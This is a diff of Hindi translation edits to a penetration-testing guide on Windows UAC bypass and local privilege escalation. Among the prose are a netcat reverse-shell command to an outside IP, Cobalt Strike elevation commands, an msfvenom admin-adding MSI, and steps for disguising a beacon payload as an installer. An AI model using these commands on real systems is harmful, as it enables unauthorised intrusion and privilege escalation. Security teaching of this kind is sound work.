कुछ प्रोग्राम **स्वचालित रूप से ऑटोएलीवेट** होते हैं यदि **उपयोगकर्ता** **प्रशासक समूह** का सदस्य है। इन बाइनरी में उनके _**Manifests**_ के अंदर _**autoElevate**_ विकल्प होता है जिसका मान _**True**_ होता है। बाइनरी को **Microsoft द्वारा हस्ताक्षरित** होना चाहिए।
|
||||
|
||||
फिर, **UAC** को **बायपास** करने के लिए ( **मध्यम** integrity स्तर से **उच्च** पर उठाना) कुछ हमलावर इस प्रकार की बाइनरी का उपयोग करते हैं ताकि **मनमाने कोड** को **निष्पादित** किया जा सके क्योंकि इसे **उच्च स्तर की integrity प्रक्रिया** से निष्पादित किया जाएगा।
|
||||
फिर, **UAC** को **बायपास** करने के लिए ( **मध्यम** इंटीग्रिटी स्तर से **उच्च** पर उठाना) कुछ हमलावर इस प्रकार की बाइनरी का उपयोग करते हैं ताकि वे **मनमाने कोड को निष्पादित** कर सकें क्योंकि इसे **उच्च स्तर की इंटीग्रिटी प्रक्रिया** से निष्पादित किया जाएगा।
|
||||
|
||||
आप _**sigcheck.exe**_ टूल का उपयोग करके एक बाइनरी का _**Manifest**_ **चेक** कर सकते हैं। और आप _Process Explorer_ या _Process Monitor_ (Sysinternals के) का उपयोग करके प्रक्रियाओं के **integrity स्तर** को **देख** सकते हैं।
|
||||
आप _**sigcheck.exe**_ टूल का उपयोग करके बाइनरी का _**Manifest**_ **चेक** कर सकते हैं। और आप _Process Explorer_ या _Process Monitor_ (Sysinternals के) का उपयोग करके प्रक्रियाओं के **इंटीग्रिटी स्तर** को **देख** सकते हैं।
|
||||
|
||||
### Check UAC
|
||||
|
||||
@ -63,10 +63,10 @@ ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
||||
- यदि **`5`** है (**डिफ़ॉल्ट**) तो यह व्यवस्थापक से पुष्टि मांगेगा कि उच्च विशेषाधिकारों के साथ गैर-विंडोज बाइनरी चलाने के लिए
|
||||
|
||||
फिर, आपको **`LocalAccountTokenFilterPolicy`** के मान पर ध्यान देना होगा\
|
||||
यदि मान **`0`** है, तो केवल **RID 500** उपयोगकर्ता (**बिल्ट-इन व्यवस्थापक**) UAC के बिना **व्यवस्थापक कार्य** कर सकता है, और यदि इसका `1` है, तो **"Administrators"** समूह के सभी खाते ऐसा कर सकते हैं।
|
||||
यदि मान **`0`** है, तो केवल **RID 500** उपयोगकर्ता (**बिल्ट-इन व्यवस्थापक**) **UAC के बिना प्रशासनिक कार्य** कर सकता है, और यदि इसका `1` है, तो **"Administrators"** समूह के सभी खाते ऐसा कर सकते हैं।
|
||||
|
||||
और, अंत में **`FilterAdministratorToken`** कुंजी के मान पर ध्यान दें\
|
||||
यदि **`0`** (डिफ़ॉल्ट) है, तो **बिल्ट-इन व्यवस्थापक खाता** दूरस्थ प्रशासन कार्य कर सकता है और यदि **`1`** है, तो बिल्ट-इन खाता व्यवस्थापक **दूरस्थ प्रशासन कार्य** नहीं कर सकता, जब तक `LocalAccountTokenFilterPolicy` को `1` पर सेट नहीं किया गया है।
|
||||
यदि **`0`** (डिफ़ॉल्ट) है, तो **बिल्ट-इन व्यवस्थापक खाता** दूरस्थ प्रशासनिक कार्य कर सकता है और यदि **`1`** है, तो बिल्ट-इन खाता व्यवस्थापक **दूरस्थ प्रशासनिक कार्य** नहीं कर सकता, जब तक `LocalAccountTokenFilterPolicy` को `1` पर सेट नहीं किया गया हो।
|
||||
|
||||
#### सारांश
|
||||
|
||||
@ -89,7 +89,7 @@ whoami /groups | findstr Level
|
||||
|
||||
UAC बायपास की आवश्यकता निम्नलिखित स्थिति में होती है: **UAC सक्रिय है, आपकी प्रक्रिया एक मध्यम अखंडता संदर्भ में चल रही है, और आपका उपयोगकर्ता प्रशासकों समूह में है**।
|
||||
|
||||
यह उल्लेख करना महत्वपूर्ण है कि **UAC को बायपास करना बहुत कठिन है यदि यह उच्चतम सुरक्षा स्तर (हमेशा) पर है, बजाय इसके कि यह अन्य स्तरों (डिफ़ॉल्ट) में से किसी एक पर हो।**
|
||||
यह उल्लेख करना महत्वपूर्ण है कि **UAC को उच्चतम सुरक्षा स्तर (हमेशा) में बायपास करना बहुत कठिन है, बजाय इसके कि यह किसी अन्य स्तर (डिफ़ॉल्ट) में हो।**
|
||||
|
||||
### UAC निष्क्रिय
|
||||
|
||||
@ -106,7 +106,7 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
|
||||
|
||||
### **बहुत** बुनियादी UAC "बायपास" (पूर्ण फ़ाइल प्रणाली पहुंच)
|
||||
|
||||
यदि आपके पास एक शेल है जिसमें एक उपयोगकर्ता है जो Administrators समूह के अंदर है, तो आप **C$** साझा को SMB (फ़ाइल प्रणाली) के माध्यम से एक नए डिस्क में माउंट कर सकते हैं और आपको **फ़ाइल प्रणाली के अंदर सब कुछ तक पहुंच प्राप्त होगी** (यहां तक कि Administrator का होम फ़ोल्डर)।
|
||||
यदि आपके पास एक शेल है जिसमें एक उपयोगकर्ता है जो Administrators समूह के अंदर है, तो आप **C$** साझा को SMB (फ़ाइल प्रणाली) के माध्यम से एक नए डिस्क में स्थानीय रूप से **माउंट** कर सकते हैं और आपको **फ़ाइल प्रणाली के अंदर सब कुछ तक पहुंच** प्राप्त होगी (यहां तक कि Administrator का होम फ़ोल्डर)।
|
||||
|
||||
> [!WARNING]
|
||||
> **लगता है कि यह ट्रिक अब काम नहीं कर रही है**
|
||||
@ -119,7 +119,7 @@ dir \\127.0.0.1\c$\Users\Administrator\Desktop
|
||||
```
|
||||
### UAC बायपास कोबाल्ट स्ट्राइक के साथ
|
||||
|
||||
कोबाल्ट स्ट्राइक तकनीकें केवल तभी काम करेंगी जब UAC अपनी अधिकतम सुरक्षा स्तर पर सेट न हो।
|
||||
कोबाल्ट स्ट्राइक तकनीकें केवल तभी काम करेंगी जब UAC को इसके अधिकतम सुरक्षा स्तर पर सेट नहीं किया गया हो।
|
||||
```bash
|
||||
# UAC bypass via token duplication
|
||||
elevate uac-token-duplication [listener_name]
|
||||
@ -154,7 +154,7 @@ Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) pag
|
||||
|
||||
#### More UAC bypass
|
||||
|
||||
**सभी** तकनीकें जो यहाँ AUC को बायपास करने के लिए उपयोग की जाती हैं **एक पूर्ण इंटरैक्टिव शेल** की **आवश्यकता** होती है (एक सामान्य nc.exe शेल पर्याप्त नहीं है)।
|
||||
**सभी** तकनीकें जो यहाँ AUC को बायपास करने के लिए उपयोग की जाती हैं **एक पूर्ण इंटरैक्टिव शेल** के साथ पीड़ित की **आवश्यकता** होती हैं (एक सामान्य nc.exe शेल पर्याप्त नहीं है)।
|
||||
|
||||
आप **meterpreter** सत्र का उपयोग करके प्राप्त कर सकते हैं। एक **प्रक्रिया** में माइग्रेट करें जिसका **सत्र** मान **1** के बराबर है:
|
||||
|
||||
@ -164,17 +164,17 @@ Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) pag
|
||||
|
||||
### UAC Bypass with GUI
|
||||
|
||||
यदि आपके पास **GUI** तक पहुंच है, तो आप जब UAC प्रॉम्प्ट प्राप्त करते हैं, तो आप बस इसे स्वीकार कर सकते हैं, आपको वास्तव में इसे बायपास करने की आवश्यकता नहीं है। इसलिए, GUI तक पहुंच प्राप्त करना आपको UAC को बायपास करने की अनुमति देगा।
|
||||
यदि आपके पास **GUI** तक पहुंच है, तो आप जब UAC प्रॉम्प्ट प्राप्त करते हैं तो आप बस इसे स्वीकार कर सकते हैं, आपको वास्तव में इसे बायपास करने की आवश्यकता नहीं है। इसलिए, GUI तक पहुंच प्राप्त करना आपको UAC को बायपास करने की अनुमति देगा।
|
||||
|
||||
इसके अलावा, यदि आपको एक GUI सत्र मिलता है जिसका कोई और उपयोग कर रहा था (संभवतः RDP के माध्यम से), तो वहाँ **कुछ उपकरण होंगे जो व्यवस्थापक के रूप में चल रहे होंगे** जहाँ से आप **cmd** को उदाहरण के लिए **व्यवस्थापक** के रूप में सीधे चला सकते हैं बिना UAC द्वारा फिर से प्रॉम्प्ट किए। जैसे [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)। यह थोड़ा अधिक **गुप्त** हो सकता है।
|
||||
इसके अलावा, यदि आप एक GUI सत्र प्राप्त करते हैं जिसका कोई और उपयोग कर रहा था (संभवतः RDP के माध्यम से) तो वहाँ **कुछ उपकरण होंगे जो व्यवस्थापक के रूप में चल रहे होंगे** जहाँ से आप **cmd** को उदाहरण के लिए **व्यवस्थापक** के रूप में सीधे चला सकते हैं बिना UAC द्वारा फिर से प्रॉम्प्ट किए गए जैसे [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)। यह थोड़ा अधिक **गुप्त** हो सकता है।
|
||||
|
||||
### Noisy brute-force UAC bypass
|
||||
|
||||
यदि आपको शोर करने की परवाह नहीं है, तो आप हमेशा **कुछ ऐसा चला सकते हैं** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) जो **अनुमतियों को बढ़ाने के लिए पूछता है जब तक उपयोगकर्ता इसे स्वीकार नहीं करता**।
|
||||
यदि आपको शोर करने की परवाह नहीं है, तो आप हमेशा **कुछ ऐसा चला सकते हैं** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) जो **अनुमतियों को बढ़ाने के लिए पूछता है जब तक कि उपयोगकर्ता इसे स्वीकार नहीं करता**।
|
||||
|
||||
### Your own bypass - Basic UAC bypass methodology
|
||||
|
||||
यदि आप **UACME** पर एक नज़र डालते हैं, तो आप देखेंगे कि **अधिकांश UAC बायपास एक Dll Hijacking कमजोरियों का दुरुपयोग करते हैं** (मुख्य रूप से _C:\Windows\System32_ पर दुर्भावनापूर्ण dll लिखना)। [Dll Hijacking कमजोरी खोजने के लिए इसे पढ़ें](../windows-local-privilege-escalation/dll-hijacking/)।
|
||||
यदि आप **UACME** पर एक नज़र डालते हैं, तो आप देखेंगे कि **अधिकांश UAC बायपास एक Dll Hijacking कमजोरियों का दुरुपयोग करते हैं** (मुख्य रूप से _C:\Windows\System32_ पर दुर्भावनापूर्ण dll लिखना)। [Dll Hijacking कमजोरी खोजने के लिए इसे पढ़ें](../windows-local-privilege-escalation/dll-hijacking/index.html)।
|
||||
|
||||
1. एक बाइनरी खोजें जो **autoelevate** करेगा (जाँच करें कि जब इसे निष्पादित किया जाता है तो यह उच्च अखंडता स्तर पर चलता है)।
|
||||
2. procmon के साथ "**NAME NOT FOUND**" घटनाओं को खोजें जो **DLL Hijacking** के लिए कमजोर हो सकती हैं।
|
||||
@ -185,6 +185,6 @@ Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) pag
|
||||
|
||||
### Another UAC bypass technique
|
||||
|
||||
इसमें यह देखना शामिल है कि क्या एक **autoElevated बाइनरी** **पंजीकरण** से **नाम/पथ** को **पढ़ने** की कोशिश करती है एक **बाइनरी** या **कमांड** को **निष्पादित** करने के लिए (यह अधिक दिलचस्प है यदि बाइनरी इस जानकारी को **HKCU** के अंदर खोजती है)।
|
||||
इसमें यह देखना शामिल है कि क्या एक **autoElevated binary** **पंजीकरण** से **बाइनरी** या **कमांड** के **नाम/पथ** को **पढ़ने** की कोशिश करता है जिसे **निष्पादित** किया जाना है (यह अधिक दिलचस्प है यदि बाइनरी इस जानकारी को **HKCU** के अंदर खोजता है)।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -32,7 +32,7 @@ integrity-levels.md
|
||||
|
||||
## Windows सुरक्षा नियंत्रण
|
||||
|
||||
Windows में विभिन्न चीजें हैं जो **आपको सिस्टम की गणना करने से रोक सकती हैं**, निष्पादन योग्य चलाने या यहां तक कि **आपकी गतिविधियों का पता लगाने** से भी। आपको विशेषाधिकार वृद्धि गणना शुरू करने से पहले निम्नलिखित **पृष्ठ** को **पढ़ना** और सभी **रक्षा** **यंत्रों** की **गणना** करनी चाहिए:
|
||||
Windows में विभिन्न चीजें हैं जो **आपको सिस्टम को सूचीबद्ध करने से रोक सकती हैं**, निष्पादन योग्य चलाने या यहां तक कि **आपकी गतिविधियों का पता लगाने** से भी। आपको विशेषाधिकार वृद्धि सूचीकरण शुरू करने से पहले निम्नलिखित **पृष्ठ** को **पढ़ना** और सभी **रक्षा** **यंत्रों** को **सूचीबद्ध** करना चाहिए:
|
||||
|
||||
{{#ref}}
|
||||
../authentication-credentials-uac-and-efs/
|
||||
@ -40,7 +40,7 @@ Windows में विभिन्न चीजें हैं जो **आ
|
||||
|
||||
## सिस्टम जानकारी
|
||||
|
||||
### संस्करण जानकारी गणना
|
||||
### संस्करण जानकारी सूचीकरण
|
||||
|
||||
जांचें कि क्या Windows संस्करण में कोई ज्ञात भेद्यता है (लागू किए गए पैच भी जांचें)।
|
||||
```bash
|
||||
@ -97,7 +97,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw
|
||||
```
|
||||
### PowerShell Transcript files
|
||||
|
||||
आप सीख सकते हैं कि इसे कैसे चालू किया जाए [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
|
||||
आप इसे चालू करने के लिए [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) पर सीख सकते हैं।
|
||||
```bash
|
||||
#Check is enable in the registry
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
|
||||
@ -127,14 +127,14 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
||||
```
|
||||
### PowerShell **Script Block Logging**
|
||||
|
||||
स्क्रिप्ट के निष्पादन की पूरी गतिविधि और पूर्ण सामग्री रिकॉर्ड की जाती है, यह सुनिश्चित करते हुए कि कोड का हर ब्लॉक उसके चलने के समय दस्तावेजीकृत है। यह प्रक्रिया प्रत्येक गतिविधि का एक व्यापक ऑडिट ट्रेल बनाए रखती है, जो फॉरेंसिक्स और दुर्भावनापूर्ण व्यवहार का विश्लेषण करने के लिए मूल्यवान है। निष्पादन के समय सभी गतिविधियों को दस्तावेजीकृत करके, प्रक्रिया के बारे में विस्तृत अंतर्दृष्टि प्रदान की जाती है।
|
||||
स्क्रिप्ट के निष्पादन की पूरी गतिविधि और पूर्ण सामग्री रिकॉर्ड की जाती है, यह सुनिश्चित करते हुए कि कोड का हर ब्लॉक उसके चलने के समय दस्तावेजीकृत है। यह प्रक्रिया प्रत्येक गतिविधि का एक व्यापक ऑडिट ट्रेल बनाए रखती है, जो फॉरेंसिक्स और दुर्भावनापूर्ण व्यवहार का विश्लेषण करने के लिए मूल्यवान है। निष्पादन के समय सभी गतिविधियों को दस्तावेजीकृत करके, प्रक्रिया के बारे में विस्तृत जानकारी प्रदान की जाती है।
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
```
|
||||
स्क्रिप्ट ब्लॉक के लिए लॉगिंग इवेंट्स Windows Event Viewer में निम्नलिखित पथ पर स्थित हो सकते हैं: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**।\
|
||||
स्क्रिप्ट ब्लॉक के लिए लॉगिंग इवेंट्स Windows Event Viewer में इस पथ पर स्थित हो सकते हैं: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**।\
|
||||
अंतिम 20 इवेंट्स देखने के लिए आप उपयोग कर सकते हैं:
|
||||
```bash
|
||||
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
|
||||
@ -152,9 +152,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
|
||||
```
|
||||
## WSUS
|
||||
|
||||
यदि अपडेट http**S** का उपयोग करके अनुरोध नहीं किए जाते हैं, तो आप सिस्टम को समझौता कर सकते हैं।
|
||||
यदि अपडेट http**S** का उपयोग करके अनुरोध नहीं किए जाते हैं, तो आप सिस्टम से समझौता कर सकते हैं।
|
||||
|
||||
आप निम्नलिखित चलाकर जांचना शुरू करते हैं कि क्या नेटवर्क गैर-SSL WSUS अपडेट का उपयोग करता है:
|
||||
आप निम्नलिखित चलाकर जांच करते हैं कि क्या नेटवर्क एक गैर-SSL WSUS अपडेट का उपयोग कर रहा है:
|
||||
```
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
|
||||
```
|
||||
@ -186,7 +186,7 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
Windows **डोमेन** वातावरण में एक **स्थानीय विशेषाधिकार वृद्धि** की कमजोरी विशेष परिस्थितियों में मौजूद है। इन परिस्थितियों में वे वातावरण शामिल हैं जहाँ **LDAP साइनिंग लागू नहीं है,** उपयोगकर्ताओं के पास **Resource-Based Constrained Delegation (RBCD)** को कॉन्फ़िगर करने के लिए स्व-अधिकार हैं, और उपयोगकर्ताओं के लिए डोमेन के भीतर कंप्यूटर बनाने की क्षमता है। यह ध्यान रखना महत्वपूर्ण है कि ये **आवश्यकताएँ** **डिफ़ॉल्ट सेटिंग्स** का उपयोग करके पूरी होती हैं।
|
||||
Windows **डोमेन** वातावरण में विशिष्ट परिस्थितियों के तहत एक **स्थानीय विशेषाधिकार वृद्धि** की कमजोरी मौजूद है। इन परिस्थितियों में वे वातावरण शामिल हैं जहाँ **LDAP साइनिंग लागू नहीं है,** उपयोगकर्ताओं के पास **Resource-Based Constrained Delegation (RBCD)** को कॉन्फ़िगर करने के लिए स्व-अधिकार हैं, और उपयोगकर्ताओं के लिए डोमेन के भीतर कंप्यूटर बनाने की क्षमता है। यह ध्यान रखना महत्वपूर्ण है कि ये **आवश्यकताएँ** **डिफ़ॉल्ट सेटिंग्स** का उपयोग करके पूरी होती हैं।
|
||||
|
||||
**शोषण खोजें** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
|
||||
@ -208,7 +208,7 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms
|
||||
|
||||
### PowerUP
|
||||
|
||||
`Write-UserAddMSI` कमांड का उपयोग करें power-up से वर्तमान निर्देशिका के अंदर एक Windows MSI बाइनरी बनाने के लिए ताकि विशेषाधिकार बढ़ाए जा सकें। यह स्क्रिप्ट एक पूर्व-संकलित MSI इंस्टॉलर लिखती है जो उपयोगकर्ता/समूह जोड़ने के लिए संकेत देती है (इसलिए आपको GIU पहुंच की आवश्यकता होगी):
|
||||
`Write-UserAddMSI` कमांड का उपयोग करें power-up से वर्तमान निर्देशिका के अंदर एक Windows MSI बाइनरी बनाने के लिए ताकि विशेषाधिकार बढ़ाए जा सकें। यह स्क्रिप्ट एक पूर्व-संकलित MSI इंस्टॉलर लिखती है जो एक उपयोगकर्ता/समूह जोड़ने के लिए संकेत देती है (इसलिए आपको GIU पहुंच की आवश्यकता होगी):
|
||||
```
|
||||
Write-UserAddMSI
|
||||
```
|
||||
@ -216,7 +216,7 @@ Write-UserAddMSI
|
||||
|
||||
### MSI Wrapper
|
||||
|
||||
इस ट्यूटोरियल को पढ़ें ताकि आप इस उपकरणों का उपयोग करके एक MSI wrapper कैसे बनाएं, यह जान सकें। ध्यान दें कि आप एक "**.bat**" फ़ाइल को लपेट सकते हैं यदि आप **बस** **कमांड लाइनों** को **कार्यन्वित** करना चाहते हैं।
|
||||
इस ट्यूटोरियल को पढ़ें ताकि आप इस उपकरणों का उपयोग करके एक MSI wrapper कैसे बनाएं। ध्यान दें कि आप एक "**.bat**" फ़ाइल को लपेट सकते हैं यदि आप **बस** **कमांड लाइनों** को **कार्यन्वित** करना चाहते हैं।
|
||||
|
||||
{{#ref}}
|
||||
msi-wrapper.md
|
||||
@ -230,7 +230,7 @@ create-msi-with-wix.md
|
||||
|
||||
### Visual Studio के साथ MSI बनाएं
|
||||
|
||||
- **Cobalt Strike** या **Metasploit** के साथ एक **नया Windows EXE TCP payload** `C:\privesc\beacon.exe` में उत्पन्न करें।
|
||||
- **Cobalt Strike** या **Metasploit** के साथ एक **नया Windows EXE TCP payload** उत्पन्न करें `C:\privesc\beacon.exe` में
|
||||
- **Visual Studio** खोलें, **Create a new project** चुनें और खोज बॉक्स में "installer" टाइप करें। **Setup Wizard** प्रोजेक्ट चुनें और **Next** पर क्लिक करें।
|
||||
- प्रोजेक्ट को एक नाम दें, जैसे **AlwaysPrivesc**, स्थान के लिए **`C:\privesc`** का उपयोग करें, **solution और project को एक ही निर्देशिका में रखें** चुनें, और **Create** पर क्लिक करें।
|
||||
- **Next** पर क्लिक करते रहें जब तक आप 4 में से 3 चरण पर नहीं पहुँचते (शामिल करने के लिए फ़ाइलें चुनें)। **Add** पर क्लिक करें और उस Beacon payload को चुनें जिसे आपने अभी उत्पन्न किया है। फिर **Finish** पर क्लिक करें।
|
||||
@ -238,12 +238,12 @@ create-msi-with-wix.md
|
||||
- अन्य गुण भी हैं जिन्हें आप बदल सकते हैं, जैसे **Author** और **Manufacturer** जो स्थापित ऐप को अधिक वैध दिखा सकते हैं।
|
||||
- प्रोजेक्ट पर राइट-क्लिक करें और **View > Custom Actions** चुनें।
|
||||
- **Install** पर राइट-क्लिक करें और **Add Custom Action** चुनें।
|
||||
- **Application Folder** पर डबल-क्लिक करें, अपने **beacon.exe** फ़ाइल का चयन करें और **OK** पर क्लिक करें। यह सुनिश्चित करेगा कि beacon payload स्थापित करने वाले के चलने पर कार्यान्वित हो।
|
||||
- **Application Folder** पर डबल-क्लिक करें, अपनी **beacon.exe** फ़ाइल चुनें और **OK** पर क्लिक करें। यह सुनिश्चित करेगा कि beacon payload स्थापित करने वाले के चलने पर कार्यान्वित हो।
|
||||
- **Custom Action Properties** के तहत, **Run64Bit** को **True** में बदलें।
|
||||
- अंत में, **build it**।
|
||||
- यदि चेतावनी `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` दिखाई देती है, तो सुनिश्चित करें कि आपने प्लेटफ़ॉर्म को x64 पर सेट किया है।
|
||||
|
||||
### MSI स्थापना
|
||||
### MSI Installation
|
||||
|
||||
**पृष्ठभूमि** में दुर्भावनापूर्ण `.msi` फ़ाइल की **स्थापना** को कार्यान्वित करने के लिए:
|
||||
```
|
||||
@ -295,7 +295,7 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
|
||||
```
|
||||
### Cached Credentials
|
||||
|
||||
**डोमेन क्रेडेंशियल्स** को **स्थानीय सुरक्षा प्राधिकरण** (LSA) द्वारा प्रमाणित किया जाता है और ऑपरेटिंग सिस्टम के घटकों द्वारा उपयोग किया जाता है। जब किसी उपयोगकर्ता का लॉगिन डेटा एक पंजीकृत सुरक्षा पैकेज द्वारा प्रमाणित किया जाता है, तो उपयोगकर्ता के लिए डोमेन क्रेडेंशियल्स आमतौर पर स्थापित किए जाते हैं।\
|
||||
**डोमेन क्रेडेंशियल्स** को **स्थानीय सुरक्षा प्राधिकरण** (LSA) द्वारा प्रमाणित किया जाता है और ऑपरेटिंग सिस्टम के घटकों द्वारा उपयोग किया जाता है। जब किसी उपयोगकर्ता के लॉगिन डेटा को एक पंजीकृत सुरक्षा पैकेज द्वारा प्रमाणित किया जाता है, तो उपयोगकर्ता के लिए डोमेन क्रेडेंशियल्स आमतौर पर स्थापित किए जाते हैं।\
|
||||
[**Cached Credentials के बारे में अधिक जानकारी यहाँ**](../stealing-credentials/credentials-protections.md#cached-credentials).
|
||||
```bash
|
||||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
|
||||
@ -304,7 +304,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
|
||||
|
||||
### Enumerate Users & Groups
|
||||
|
||||
आपको यह जांचना चाहिए कि क्या आप जिन समूहों में हैं, उनमें कोई दिलचस्प अनुमतियाँ हैं।
|
||||
आपको यह जांचना चाहिए कि क्या आप जिन समूहों में शामिल हैं, उनमें कोई दिलचस्प अनुमतियाँ हैं।
|
||||
```bash
|
||||
# CMD
|
||||
net users %username% #Me
|
||||
@ -321,7 +321,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
|
||||
```
|
||||
### विशेषाधिकार प्राप्त समूह
|
||||
|
||||
यदि आप **किसी विशेषाधिकार प्राप्त समूह से संबंधित हैं, तो आप विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं**। विशेषाधिकार प्राप्त समूहों के बारे में जानें और उन्हें विशेषाधिकार बढ़ाने के लिए कैसे दुरुपयोग करें यहाँ:
|
||||
यदि आप **किसी विशेषाधिकार प्राप्त समूह का हिस्सा हैं, तो आप विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं**। विशेषाधिकार प्राप्त समूहों के बारे में जानें और उन्हें विशेषाधिकार बढ़ाने के लिए कैसे दुरुपयोग करें यहाँ:
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/privileged-groups-and-token-privileges.md
|
||||
@ -359,7 +359,7 @@ powershell -command "Get-Clipboard"
|
||||
### फ़ाइल और फ़ोल्डर अनुमतियाँ
|
||||
|
||||
सबसे पहले, प्रक्रियाओं की सूची बनाते समय **प्रक्रिया की कमांड लाइन के अंदर पासवर्ड की जांच करें**।\
|
||||
जांचें कि क्या आप **कुछ बाइनरी को ओवरराइट कर सकते हैं** या यदि आपके पास बाइनरी फ़ोल्डर की लिखने की अनुमतियाँ हैं ताकि संभावित [**DLL Hijacking हमलों**](dll-hijacking/) का लाभ उठाया जा सके:
|
||||
जांचें कि क्या आप **कुछ बाइनरी को ओवरराइट कर सकते हैं** या यदि आपके पास बाइनरी फ़ोल्डर की लिखने की अनुमतियाँ हैं ताकि संभावित [**DLL Hijacking हमलों**](dll-hijacking/index.html) का लाभ उठाया जा सके:
|
||||
```bash
|
||||
Tasklist /SVC #List processes running and services
|
||||
tasklist /v /fi "username eq system" #Filter "system" processes
|
||||
@ -370,7 +370,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
|
||||
#Without usernames
|
||||
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
|
||||
```
|
||||
हमेशा संभावित [**electron/cef/chromium debuggers** चल रहे हैं, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md)।
|
||||
हमेशा संभावित [**electron/cef/chromium debuggers** चल रहे हैं, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
|
||||
|
||||
**प्रक्रियाओं के बाइनरी की अनुमतियों की जांच करना**
|
||||
```bash
|
||||
@ -381,7 +381,7 @@ icacls "%%z"
|
||||
)
|
||||
)
|
||||
```
|
||||
**प्रक्रियाओं के बाइनरी के फ़ोल्डरों की अनुमतियों की जांच (**[**DLL Hijacking**](dll-hijacking/)**)**
|
||||
**प्रक्रियाओं के बाइनरी के फ़ोल्डरों की अनुमतियों की जांच (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
|
||||
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
|
||||
@ -391,7 +391,7 @@ todos %username%" && echo.
|
||||
```
|
||||
### मेमोरी पासवर्ड खनन
|
||||
|
||||
आप **procdump** का उपयोग करके एक चल रहे प्रक्रिया का मेमोरी डंप बना सकते हैं। FTP जैसी सेवाओं में **स्मृति में स्पष्ट पाठ में क्रेडेंशियल्स** होते हैं, मेमोरी को डंप करने और क्रेडेंशियल्स को पढ़ने का प्रयास करें।
|
||||
आप **procdump** का उपयोग करके एक चल रहे प्रोसेस का मेमोरी डंप बना सकते हैं। FTP जैसी सेवाओं में **स्मृति में स्पष्ट पाठ में क्रेडेंशियल्स होते हैं**, मेमोरी को डंप करने और क्रेडेंशियल्स को पढ़ने का प्रयास करें।
|
||||
```bash
|
||||
procdump.exe -accepteula -ma <proc_name_tasklist>
|
||||
```
|
||||
@ -434,7 +434,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
|
||||
यदि आपको यह त्रुटि मिल रही है (उदाहरण के लिए SSDPSRV के साथ):
|
||||
|
||||
_सिस्टम त्रुटि 1058 हुई है._\
|
||||
&#xNAN;_Tसेवा शुरू नहीं की जा सकती, या तो क्योंकि इसे अक्षम किया गया है या क्योंकि इसके साथ कोई सक्षम उपकरण नहीं जुड़े हैं।_
|
||||
&#xNAN;_Tसेवा शुरू नहीं की जा सकती, या तो क्योंकि इसे अक्षम किया गया है या क्योंकि इसके साथ कोई सक्षम उपकरण नहीं है।_
|
||||
|
||||
आप इसे सक्षम करने के लिए उपयोग कर सकते हैं
|
||||
```bash
|
||||
@ -449,7 +449,7 @@ sc.exe config usosvc start= auto
|
||||
```
|
||||
### **सेवा बाइनरी पथ को संशोधित करें**
|
||||
|
||||
